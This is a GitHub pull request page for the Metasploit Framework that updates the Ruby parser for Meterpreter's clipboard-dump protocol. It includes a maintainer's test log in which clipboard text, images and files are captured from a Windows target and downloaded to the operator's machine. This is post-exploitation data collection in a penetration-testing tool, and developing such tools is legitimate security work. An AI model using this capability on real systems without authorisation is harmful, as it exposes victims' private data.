Skip to content

HTTPS clone URL

Subversion checkout URL

You can clone with HTTPS or Subversion.

Download ZIP

Loading…

Modify clipboard dump to support new format from Meterpreter #3061

Merged
merged 1 commit into from

2 participants

@OJ
Collaborator
OJ commented

This is a minor update to the protocol that is used for shifting file details from Meterpreter to MSF. This PR relies on this Meterpreter PR: rapid7/meterpreter#75

@todb-r7 todb-r7 referenced this pull request from a commit in todb-r7/metasploit-framework
@todb-r7 todb-r7 Land #3061, enhance clipboard dump
This depends on rapid7/meterpreter#75 to function
04b5d71
@todb-r7 todb-r7 referenced this pull request
Merged

Pull request collection from @OJ #3122

9 of 10 tasks complete
@todb-r7
Owner

This looks good:

meterpreter > clipboard_monitor_dump 
Text captured at 2014-03-19 15:30:13.0352
=========================================
Hello from the clipboard!

=========================================

[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump 
[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump 
Files captured at 2014-03-19 15:30:39.0759
==========================================
Remote Path : C:\windows\system32\calc.exe
File size   : 55170194946916352 bytes
downloading : C:\windows\system32\calc.exe -> ./calc.exe
downloaded  : C:\windows\system32\calc.exe -> ./calc.exe

==========================================

[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump 
Files captured at 2014-03-19 15:32:12.0915
==========================================
Remote Path : such-coin.jpg
File size   : 0 bytes
[-] stdapi_fs_stat: Operation failed: The system cannot find the file specified.
meterpreter > clipboard_monitor_dump 
Files captured at 2014-03-19 15:32:30.0884
==========================================
Remote Path : C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\such-coin.jpg
File size   : 14162976403150077952 bytes
downloading : C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\such-coin.jpg -> ./such-coin.jpg
downloaded  : C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\such-coin.jpg -> ./such-coin.jpg

==========================================

[+] Clipboard monitor dumped
meterpreter > clipboard_monitor_dump 
Image captured at 2014-03-19 15:32:53.0524
==========================================
Dimensions : 500 x 375
Downloaded : /home/todb/git/rapid7/metasploit-framework/201403191532530524-ggxyYnZE.jpg
==========================================

[+] Clipboard monitor dumped

@todb-r7
Owner

Verified as far as #3122 is concerned.

@todb-r7 todb-r7 referenced this pull request from a commit
@todb-r7 todb-r7 Land #3122, lots of Meterpreter updates
This lands the binaries built from Meterpreter as of:

rapid7/meterpreter#80 , also known as

commit 5addac75741fadfff35f4f7839cee6fd69705455

as well as the functional changes in:

rapid7/metasploit-framework#2782
rapid7/metasploit-framework#2889
rapid7/metasploit-framework#3061
rapid7/metasploit-framework#3085
c1cbeff
@todb-r7 todb-r7 merged commit 0bdce48 into from
@OJ OJ deleted the branch
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
This page is out of date. Refresh to see the latest.
View
14 lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb
@@ -134,14 +134,16 @@ def parse_dump(response)
result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)
end
- response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
- ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
+ response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES) do |fs|
+ ts = fs.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
result[ts] ||= {}
result[ts]['Files'] ||= []
- result[ts]['Files'] << {
- :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
- :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
- }
+ fs.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
+ result[ts]['Files'] << {
+ :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
+ :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
+ }
+ end
end
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
View
1  lib/rex/post/meterpreter/extensions/extapi/tlv.rb
@@ -38,6 +38,7 @@ module Extapi
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
+TLV_TYPE_EXT_CLIPBOARD_TYPE_FILES = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 44)
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 45)
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 46)
Something went wrong with that request. Please try again.